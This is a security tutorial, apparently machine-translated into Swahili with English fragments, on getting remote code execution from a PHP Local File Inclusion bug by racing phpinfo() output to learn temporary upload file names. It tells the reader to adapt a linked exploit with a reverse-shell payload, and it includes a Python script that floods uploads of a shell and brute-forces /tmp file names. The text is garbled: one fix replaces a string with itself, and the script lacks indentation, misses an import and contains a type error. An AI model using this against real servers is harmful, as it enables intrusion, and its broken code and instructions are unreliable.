Ili kutumia udhaifu huu unahitaji: **Udhaifu wa LFI, ukurasa ambapo phpinfo() inaonyeshwa, "file\_uploads = on" na seva inapaswa kuwa na uwezo wa kuandika katika saraka ya "/tmp".**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
Unahitaji kurekebisha exploit (badilisha **=>** kwa **=>**). Ili kufanya hivyo unaweza kufanya:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)

### Nadharia
Ikiwa upakuaji unaruhusiwa katika PHP na unajaribu kupakia faili, faili hizi huhifadhiwa katika directory ya muda hadi seva ikamilishe processing ya ombi, kisha faili hizi za muda zifutwa.
Kisha, ikiwa umepata udhaifu wa LFI katika seva ya wavuti unaweza kujaribu kukisia jina la faili ya muda iliyoundwa na kutumia RCE kwa kufikia faili ya muda kabla haijafutwa.
Katika **Windows** faili kawaida huhifadhiwa katika **C:\Windows\temp\php**
Katika **linux** jina la faili lilikuwa **random** na liliko katika **/tmp**. Kwa kuwa jina ni random, inahitajika **kuchota kutoka mahali fulani jina la faili ya muda** na kuifikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya **variable $\_FILES** ndani ya maudhui ya kazi "**phpconfig()**".
**phpinfo()**
**PHP** inatumia buffer ya **4096B** na wakati inakuwa **kamili**, inatumwa **kwa mteja**. Kisha mteja anaweza **kutuma** **ombii mengi makubwa** (akitumia vichwa vikubwa) **akipakia php** reverse **shell**, kusubiri kwa **sehemu ya kwanza ya phpinfo() irudishwe** (ambapo jina la faili ya muda liko) na kujaribu **kufikia faili ya muda** kabla seva ya php haijafuta faili hiyo kwa kutumia udhaifu wa LFI.
**Python script to try to bruteforce the name (if length = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
